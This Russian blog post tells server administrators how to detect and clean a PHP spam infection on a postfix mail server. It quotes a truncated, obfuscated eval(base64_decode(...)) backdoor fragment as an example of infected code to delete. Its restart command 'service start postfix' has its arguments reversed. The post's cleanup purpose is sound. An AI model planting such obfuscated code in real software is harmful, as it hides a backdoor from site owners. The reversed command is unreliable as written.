Найти тему
den.moscow

Если с сервера рассылается спам… Найти и обезвредить!

Оглавление
Обложка — Если с сервера рассылается спам… Найти и обезвредить!
Обложка — Если с сервера рассылается спам… Найти и обезвредить!

Как узнать, что с Вашего сервера рассылается спам:

  • на почту стали приходить ругательные ответы от жертв;
  • перестали уходить письма с сайта;
  • хостер написал гневное письмо, что Вы будете заблокированы за рассылку спама;
  • все вышеупомянутое и многое другое.

Причины:

  • слабый root-пароль (и вообще почему-то не отключен root);
  • настройки безопасности сервера никуда не годятся;
  • на сервере один или несколько сайтов на WordPress (как правило, виновата старая версия);
  • админ сервера — злоумышленник (да-да, не смейтесь, сплошь и рядом);
  • все вышеупомянутое и многое другое.

Последствия:

  • ваш email, домен и IP (а зачастую и вся подсеть) попадает в black-листы почтовых сервисов и глобальные black-листы (пару-тройку раз Вам простят, но однажды забанят навеки);
  • вас ненавидят жертвы рассылки;

Как лечить?

1. Останавливаем postfix

# service postfix stop

2. Получаем список очереди писем (это может быть ОЧЕНЬ много писем):

# mailq
Рис. 1 — Если с сервера рассылается спам… Найти и обезвредить!
Рис. 1 — Если с сервера рассылается спам… Найти и обезвредить!

3. Желтым выделен ID письма (выбирайте письмо заведомо являющееся спамом). Скопируйте этот ID в команду, чтобы получить заголовки письма:

# postcat -vq A9CC9182699 |more
Рис. 2 — Если с сервера рассылается спам… Найти и обезвредить2
Рис. 2 — Если с сервера рассылается спам… Найти и обезвредить2

Находим фразу X-PHP-Originating-Script и видим имя файла, который генерирует спам. В данном случае это addwp.php .

4. Ищем возможные локации файла (их может быть много), указываем путь к папке с сайтами:

# find /var/www/web/ -name addwp.php

В зараженном файле обычно находится код вроде этого:

$b2e4=chr(95)."r\x65p".chr(108)."ace";$tkGa53s=chr(101)."v".chr(97)."\x6c".chr(40).chr(98)."\x61\x73\x6564\x5f".chr(100)."e\x63".chr(111)."d\x65(".chr(34).chr(81)."\x47\x56y\x63m\x39y".chr(111)."I".chr(109).chr(120)."\x76\x5A1".chr(57).chr(108)."\x63n\x4a\x76".chr(99)."n".chr(77)."\x69\x4C".chr(68)."\x41".chr(112)."Ow".chr(112)."A\x61\x57\x35\x70X\x33".chr(78).chr(108).chr(100)."Cg".chr(105)."\x5A".chr(88)."J".chr(121)."\x62".chr(51)."\x4A\x66\x62\x47\x39nI\x69w".chr(119)."\x4B\x54\x73\x4b\x43".chr(109)."\x6cmI".chr(67)."\x68p".chr(99).chr(51)."N".chr(108).chr(100).chr(67)."g\x6b".chr(88).chr(49)."B".chr(88)."\x33Jl\x63".chr(71)."\x39\x79".chr(100)."\x6b\x4e\x73\x4fD\x42\x59\x5A".chr(67)."IpCgl7\x43".chr(103).chr(107)."\x4A\x5A".chr(88)."Zh\x62\x43\x68".chr(105)."Y".chr(88)."N\x6c\x4E\x6a\x52\x66".chr(90).chr(71)."\x56j\x62\x32\x52\x6CK\x43\x52\x6A\x62".chr(50)."RlKSk\x37\x43g\x6C".chr(57)."C\x6e".chr(48).chr(75)."Z".chr(88)."h" // ...etc

Удаляем такие фрагменты и повторяем для всех найденных файлов.

5. Возвращаемся в терминал и очищаем очередь писем:

# postsuper -d ALL

6. Запускаем postfix:

# service start postfix

7. Нужно также найти и убить спамящий процесс:

получаем PID
# lsof -i :25
вставляем PID
# readlink -f /proc/{PID of process}/exe
киляем процесс по PID
# kill {PID of process}

Enjoy!